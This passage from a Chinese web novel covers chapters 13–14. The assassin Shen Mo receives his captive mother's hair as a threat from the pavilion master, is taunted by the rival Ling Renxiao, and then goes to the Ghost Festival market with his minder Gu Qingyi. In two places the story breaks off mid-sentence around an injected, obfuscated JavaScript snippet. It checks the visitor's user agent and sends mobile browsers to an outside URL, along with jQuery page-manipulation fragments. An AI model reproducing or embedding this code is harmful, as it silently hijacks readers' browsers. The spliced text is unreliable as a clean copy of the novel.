“还有,阁主让我把这个交给你。”本来是准备等处理完伤口再给他的,但现下他不是无事可做吗?
沈墨重新抬起头,他看了一眼床头案桌上,顾青衣随药箱一起带进来的东西。一只狭长的木匣子,漆黑的,金属锁扣泛着冷意。
沈墨警惕的挑了挑眉,一看就不是什么好东西。
他用唯一一只没伤的左手抄过匣子,掂了掂重量,意外的这玩意儿非常轻。他偷瞄了顾青衣一眼,试图从她的表情中得到提示,理所当然的失败了。沈墨叹了口气,他把匣子搁到枕头上一只手打开它。
顾青衣还没看见里头是身边,便感到手下的人一整个僵住了,她眉心轻拧,她也不知道里头是什么的。阁主只说,交给沈墨,他看了自然明白是何用意。
她从他肩头看过去,匣子里头是一束长发。
不是什么血腥的、骇人的物件,甚至看上去过分普通了,长发被一束紫色的丝绦系上,被梳理的很整齐。只是发丝是枯槁的,没什么光泽还掺杂了几根银丝。谁的?顾青衣炸了眨眼睛。看着沈墨的反应,应当是不难猜了。
在看清长发的时候,他瞳孔骤缩,就连呼吸都停住了。
娘亲——
阁主把这个给他,其用意不言而喻,这束普通的断发对沈墨而言比任何血腥的物件都刺眼,寒意随心跳迸发,令他不由自主的开始发抖。
“我娘在哪里……”他终于又对她开口了,但这却并不是顾青衣想让她问的。
其一她并不十分清楚此事,阁主不认为她应该清楚。其二便是知道,这件事也是不可以告诉沈墨的,他的娘亲,是阁主用来拴住沈墨最重要的一道锁链。
顾青衣选择了沉默可他继续问了下去:“她还好吗?她被关在哪里?现在谁在看管她?”
她听出了沈墨语气的变化,那些狡黠、那些不正经、那些为了与她亲近的闹腾都消失了,只剩下情真意切的焦急。
“我不知道。”然而顾青衣只能回复这个。
沈墨盯着她,他的脸背着光,眼神忽明忽暗:“……她会因为我被惩罚吗?”
在他问出这句话的时候,顾青衣彻底的沉默了,阁主的心思不是她可以揣摩的,但她和他都看到了,发尾上沾了干黏的血。
“呵,哈哈,还是这种法子。”沈墨好像意识到了自己的失态,他用手遮住眼睛:“又是这样……”他咬牙切齿的吐字,听上去有了情绪:“什么都冲着我来不行吗!”他不是已经回来了,不跑了,继续杀人了吗?
“沈墨……”顾青衣看着他将手紧紧握拳,然而她并未出言安慰他,或是贴近他:“阁主的行动不可以质疑。”她说,她还是一样的,冷冰冰的没有心。
沈墨听到了她的话,好像是突然反应过来什么似的,他吸了吸鼻子,嘴角往上翘了翘,等到他将手从脸上移开时,玩世不恭的笑容又回到他脸上:“青衣姐姐,我不会再违令了。”他向她保证,那些悲愤苦闷几乎消逝无踪。
可顾青衣看着他一双漆黑的眼睛,那里并不在透着光,而是仿若掉入就会溺死的深潭一般危险。
他的保证大约并不可信吧。
“哟,顾司正也在啊。”顾青衣听得有人突然插话,微微的挑了挑眉。
外头那人未经得同意便推开了门,实是让人觉得讨厌。但来人并不是生面孔,是凌人萧。
黯月阁中没有同僚一说,但也有任务需要合作的时候,这人同沈墨一起执行过三次任务,明明执行的过程都很顺利,但每次回来两人的关系都会更差,阁中确实有人好奇此事。
他二人入阁并非同时,凌人萧要早出沈墨许多,在沈墨来时,他已是年轻一辈的翘楚,只是沈墨来后,他的锋芒甚至被他压制。
他就这么大刺刺走到床边,看着沈墨半死不活趴在床上的模样,笑得很欢乐,很明媚:“还活着呢,小沈大人。”
一句话就把沈墨气得牙痒痒,凌人萧这么叫他,是因为沈墨的爹是朝中四品官员。这事许多人都知道,可入了阁的人便没了家,何况朝中那位大人,从一开始便同沈墨没什么干系,沈大人的正室育有二子一女,那才是沈家真正
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902168|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的继承人。
“你不该来此。”顾青衣冷言,她有意挡在凌人萧同沈墨之间。
“别这么说嘛顾司正,我后日便要启程去执行任务了,临走替小沈大人带来个好消息。”他还特意卖了个关子:“顾司正也还不知道?难怪最近几日一直照顾他,阁外消息都不灵通了。”
顾青衣没达话,冷眼看着他。
凌人萧倒也不真介意顾青衣的态度,他只自顾自在床头踱了两步,目光在沈墨背上那片层叠交错的刑伤上扫过,脸上笑容更深了些:“好消息就是——”他拖长了调子,却是回头看了顾青衣,看上去她至今都没告诉沈墨,委托阁主刺杀崔明仲的人是谁:“京城里的鸦刚传回的消息,令尊接了崔明仲赈灾的烂摊子,因为处置得当,又统筹绵竹赈灾有功,已擢升户部右侍郎,这可是正三品的实权肥缺啊!”
他话音落下,房间里一瞬的死寂。
沈墨趴在那里一动不动,他当然听得懂凌人萧在说什么,搭在匣子上的左手指节微微蜷缩,指甲在匣子上留下划痕。
“这消息如何啊?小沈大人。”凌人萧俯下身,他压低声音,笑意中却带着黏腻的恶意:“令尊这官运亨通,可少不了你在绵竹的那一剑。啧啧,能干啊,小沈大人。”他听上去是在夸他,却字字往他脑子里刺。
能干?能干个屁!凌人萧的话只让沈墨觉得荒谬,他在这暗无天日的地方中毒、杀人、受刑。重要的娘亲甚至连面都无法相见,而他高高在上的爹,却用他的鲜血和罪孽染红官运,步步高升。
“哈……哈哈哈……是我帮了爹。”沈墨边笑边说,声音哑哑的:“我该谢谢你专程来与我说这些,哈哈哈……”他笑个不停,并不像是听到了什么好消息,而是听到了很好笑的事。
“凌人萧,朝堂之上的事与我们无关。”顾青衣在这时开口,她依旧是平静的,冷定的。她与凌人萧说话,视线却落在沈墨身上。
他依旧在笑,只是现在他的笑声听上去像是从喉咙深处溢出,明明在笑,看上去却既压抑又沉闷。许是情绪失控的缘故,沈墨的双肩随着笑声轻轻抖动,他不慎牵扯到背上的伤,声音里夹杂了些微的抽气声。这似乎与她熟悉的那些或真心、或假意的笑容都不同,看上去空无一物,听起来冰冷孤寂。
他倒是不如哭出来……顾青衣没由来的想。
凌人萧的话也还没完,他激了沈墨,又把话转向顾青衣,依旧是拉长了语调,一副意味深长的语气:“顾司正你也知道了,沈公子现下身份更‘尊贵’了,你对他这监护之责可得更上心才是。毕竟阁主对他是真的青眼有加啊。”这最后几个字,凌人萧说得缓慢,齿缝间透出一股掩不住的冰凉嫉恨。
这就是他来找茬的原因,他嫉恨沈墨。
凭什么?一个叛逃、不听令、心慈手软的家伙是他们这一代的首座,而且为了抓他回来阁中损失了十二名杀手,阁主居然还让他活着?就凭与他们不同,出身高贵,是世家贵胄的公子,就能让阁主为他一次次破例吗?什么劳什子公子,黯月阁中看得就是谁凶、谁狠、谁杀人利索,那为什么阁主还连顾青衣都给了他?她可是阁主贴身侍奉的傀。
这不公平!明明更能干的是他,更忠诚的也是他!可偏偏沈墨每一步,都在践踏凌人萧从小到大的信仰。在黯月阁中,用自己手中的刀剑,用自己的血汗换取名誉与地位才是铁律,他这样又哭又闹又不愿杀人的杀手……他早晚有一天要亲手了结他!
“青衣姐姐,你知道吧。”沈墨突然开口,他已经收敛了笑意,对上她的眼睛问了一句,但他的声音太轻,好似并不在意她是否听到,是否回答。
其实他不该问的,她一定从一开始……就知道,知道却什么都不告诉他。因为告诉他又有什么意义呢?黯月阁中所需要的并非作为人活着的有思想、有感情的“沈墨”,他们都只需要一把杀人的刀。
顾青衣没有回答他的问题,她只是平静的下了逐客令:“凌人萧,沈墨还在养伤,你该走了。”
这赤裸裸的维护让凌人萧眼神一冷,她非但替他包扎伤口,还在言语和行动上偏袒他?他的视线在两人身上逡巡一轮,到底是没有再进一步刺激,只是冷哼一声:“小沈大人你可得好好养着,北边的任务我替你领了。”说罢,他转身衣袂带风地走了出去,门扉在他身后不轻不重地合上。
14. 第 14 章
任务被抢了,沈墨没有半点不悦,他在床上躺了整整十日,也不管每日太阳升的多早,只窝在床上蒙头大睡,半点不关心外头会发生何事。那日凌人萧走后,沈墨没表现出半点异常,他依旧同她玩笑,时不时朝她嘴一两句想吃冰碗,每次被顾青衣驳回的时候,总是把脸埋到胳膊里不看她。
顾青衣知道他伤口好了七八,但也由得他不下床,不出门,毕竟没有任务的时候,她是不该管他平日做什么的。况且她也知道,沈墨并不会躺太久,因为中元节就要到了。
前朝皇陵,对于今人来说,着实是个不吉利的地方,但一年之中总会有意外。中元节时,附近村名都会聚于山脚下摆摊放灯,据说正是因为此地阴气极胜,节日当天鬼门开,阴魂聚于此地,更容易见到想念之人。
其实并不会看见鬼魂,毕竟顾青衣在皇陵中都待了这么多年,但不知为何山脚下这传闻就是无法驱散,每年都有人聚于此处,小时候她也扮做无常恶鬼吓过人,可并不管用,跑了的人第二年会带着一堆乱七八糟的鬼画符再来。虽然杀人于他们而言很容易,但因着这事杀人,一是没有银钱,二是会招来调查的巡吏,如此吃力不讨好的事自然没人去做,只是掩藏行踪离人群远些,便成了解决问题的方案。
可沈墨不是这样的,只要人在阁中,他每年都会去逛中元节的集市。
果然,离中元节还有五日,沈墨下床了。
他先是远远看着她练剑,一盯盯两三个时辰,然后又随她去药阁,去暗器室,话还是很多,但帮她忙时手上也利索。顾青衣有好几次见沈墨欲言又止,她没追问,他总会告诉她的。
果然还剩三日的时候,沈墨要求和她比剑。
这不公平,她训练一日没有间断,可他到现在伤口上的血痂还未脱落。但沈墨还是拿着木剑指着她。
“若我赢了,答应我一个条件。”他笑着说。
顾青衣已经猜到他想要什么了:“让你中元节出阁?”她缓缓抬起手腕。高阶的杀手进出阁虽有傀随行,但其实是不受约束的。沈墨不同,他外出要顾青衣批准,因为他叛逃过。
沈墨愣了一下,但也还是大方点了点头:“是的,这一整年阁中没一日热闹的时候,我可受不了。”
顾青衣翻手挽了个剑花:“你现在能打赢我?”说实话,她不信,他哪有那么厉害。但这几日他大约是一直在观察她剑法的破绽,这点顾青衣也有所察觉。
沈墨苦笑:“说实话,只有一成的希望。”他老实承认,然后又捏出软软的语调求她:“实在不行,你让让我呗。”
顾青衣没答话,她只是执剑向沈墨袭去。
十二招之后,痛打落水狗。她真不是一般的过分,虽是木剑,但剑是冲着沈墨右手手背去的。
木剑精准地敲在沈墨右手的伤口之上,发出一声闷响。
沈墨整条手臂猛地一颤,木剑脱手,“哐当”落在地上。他倒吸一口凉气,用左手攥住颤抖的右腕,指节泛白。
顾青衣收剑而立,面无表情地看着他。
其实他也不遑多让,攻的是她左右视线的死角。而且走了十二招也并非真正意义上的落败,一场简单的比试竟让顾青衣感到了些许难缠。
缓了好一会儿沈墨才看她,眼神充满无奈的笑意:“青衣姐姐……”他嘶着气,声音因疼痛而有些扭曲:“你真是……一点水都不放啊。”
顾青衣平静地回视,她没道歉,只是淡淡道:“你右手还需再养几日,但是出阁之事我允了,我同你一起。”
沈墨眨了眨眼睛,他没想到顾青衣会这么轻易便答应,他甚至做好了违令偷跑的准备,今日是比试也是试探。
顾青衣看到他难得呆然的样子,从地上捡起他脱手的木剑:“我不允你便不去了吗?”真真是把他看透了。
…………
两人外出时已是太阳落山,他们都脱去了刺杀时的劲装,扮做了普通人,身上穿着粗布的衣裳,面上带了青面獠牙的鬼面具。还未靠近山脚,空气中便飘来了香烛、油食、草木燃烧混在一起的独特香味。人声、笑声、孩童的尖叫、小贩的吆喝……各种属于“活着”的嘈杂声响,也如潮水般涌来,只是百步路的距离,竟是将皇陵死寂般的悚然气氛冲刷得七零八落。
好多人。
这是顾青衣下山后的第一个印象,因着杀手的身份,她鲜少有这种混迹在节日人群中的时候,一时只觉得这里太过热闹,周围挤满了人。其实是让人有些不自在的,贴的那么近,但这些都是附近村落和城郊的居民,人群之中并没有杀意。
顾青衣跟在沈墨身后,他倒是习惯这热闹的气氛,隔了面具都能感受到。他比在阁中时活络多了,一路东张西望,眼睛在路边小摊贩上一一略过。
吹糖人的老伯鼓起腮帮,灵巧的手指间变出腾云驾雾的神兽;卖鬼脸面具的摊子琳琅满目,吊死鬼、黑无常、画皮妖,狰狞的面孔在摇晃的灯火下栩栩如生;冒着腾腾热气的馄饨挑子前围满了人,香气钻入鼻腔令人垂涎;还有卖玩具的小贩,风车、泥叫叫、竹蜻蜓,色彩斑斓,吸引过路的孩童挪不动步。
他就这样随着人潮走走停停,偶尔驻足,却又很快离开,不一定是想要买什么,只是想感受作为普通人的生活。
“这里人一直这么多?”顾青衣的声音透过面具传出,有些闷,但并没有多少情绪。
沈墨此时正侧头看着一个画糖画的手艺人在表演,金黄的糖丝在光洁的石板上游走,顷刻便成了一条鲜活的金鱼。听到她的问话,他也没回头,声音里带着面具也掩不住的笑意,那笑听起来竟是轻快:“往年也差不多。中元节嘛,活人想见死人,死人……说不定也想看看活人。”他顿了顿,似乎是陷入思绪,但只片刻便又脱出来,语调轻松的补了句:“反正比山上热闹。”
这时,两个手牵手举着风车的小孩尖叫着从顾青衣同沈墨人之间穿过,他们跑的太快,没收住脚,小些的那个朝顾青衣身上撞去。她本能先行,身体朝旁边侧开,四手并拢做了手刀的姿势,可在朝着孩子后颈劈下之前她便反应了过来,迅速将手放下。孩子也并没有摔到地上,是沈墨,他伸手扶了孩子一下,还顺手接住了他脱手的风车,小玩具被沈墨拿在手上,哗啦啦转个不停。
“小心点,跑这么快,风车都要飞啦。”他将风车塞回孩子手里,声音透过面具传出,带着笑意,竟有几分邻家兄长般的温和。
小孩子抬头看了这戴着可怕鬼面具的人一眼,却因那带笑的声音和温柔的动作,没有感到丝毫害怕,他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903689|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
礼貌地说了句“谢谢”,便又举着风车跑远了。
沈墨转回头,方才只是个小小的一场意外,他继续往前走,往放花灯的河岸方向。顾青衣跟上去,她沉默了片刻忽然问:“沈墨,你不觉得这里不方便吗?”她指的是这拥挤的人群,摩肩接踵的碰撞,对杀手而言,这里到处充满着干扰和潜在的危险。
沈墨轻笑了一声,这次他的笑声里藏了些别的情愫:“方便啊,青衣姐姐。”他不动声色的放慢脚步,让她与他并肩,然后沈墨压低的声音贴着顾青衣的耳廓清晰入耳中:“这里没人认识沈墨,也没人在意顾青衣。你看……”他随手一指周围沉浸在节日气氛中的人们:“他们眼里只有灯,只有想见的人,没有杀戮也没有刀光剑影。”他侧过头,面具上尖锐的獠牙在晃动火光下显得狰狞,可他的一双眼睛却透过眼孔看向她,目光柔和:“就当喘口气不好吗?”
顾青衣望着他的眼睛,她没有再问,即便她并不真正理解他为何执着于要来此。但她听懂了他的话,在黯月阁中,他们是杀人的工具,是时刻为杀戮而绷紧精神的杀手,而在这拥挤的人间烟火中,他们只是两个戴着鬼面具的,模糊的影子。
嘈杂的人声、晃动的光影、混杂的香薰和食物的香味,这些对顾青衣而言陌生的事物竟让她有几分无措,她紧紧跟着沈墨,继续往人群深处走去。
期间沈墨停了好几次,他在一处卖冰糖葫芦的草靶子前停下,盯着红艳艳的山楂裹着晶亮的糖壳,喉结似乎滚动了一下。他在一个卖剪纸的摊子前停下,看着摊主将染金的纸剪成一串元宝。他好像什么都感兴趣,什么都想买,顾青衣默默的想。只是不知为何他什么都没买,可这并不是因为囊中羞涩。
两人路过一个卖素馅包子的摊位,沈墨又停下了脚步,那处蒸汽白茫茫一片,带着面食特有的暖香。他掏出几枚铜钱,同店家说了两句,买了两个用油纸包着的包子,转身递了一个给顾青衣。
顾青衣一怔,看着他递到面前的油纸包,她没接。
“尝尝吧,没毒。”沈墨也不介意,他自己先掀起面具咬了一口:“呼,好烫,跟阁里的干粮不一样。”
吃这个不是更热了吗?顾青衣迟疑了一下,但她最终还是接过了那个包子,热乎乎的触感透过油纸传来,有些烫手,不过也并非拿不住。她稍稍掀起面具下缘,咬了一小口,松软的面皮咀嚼后带了点甜味,第二口下去的时候便能吃到里头的素馅了,只是寻常的白菜,但混了香油的咸香味,确实比阁中那些干粮滋味好许多。
“怎么样?”沈墨笑着问她,面具被他摘了,她看清了他的脸,也看到了他表情中隐约的期待。
顾青衣垂下眼睛,如实回答:“可以入口,还不错。”她其实从来没关心过食物的味道,他是第一个问她这种问题的人。
沈墨听到她的回答低笑了一下,他没再说什么,三两口吃完自己的那个。然后他将油纸团起,精准地扔进几步外的竹筐里。顾青衣则是慢慢吃完了她手上的,吃完后她将油纸仔细叠好,放入随身的布囊。明明是在满是人的集市上,她却依旧不会留下任何可能暴露行迹的杂物。
“接下来,我们去哪里?”顾青衣主动问沈墨。
他顿了顿脚步:“去看河灯吧,青衣姐姐。”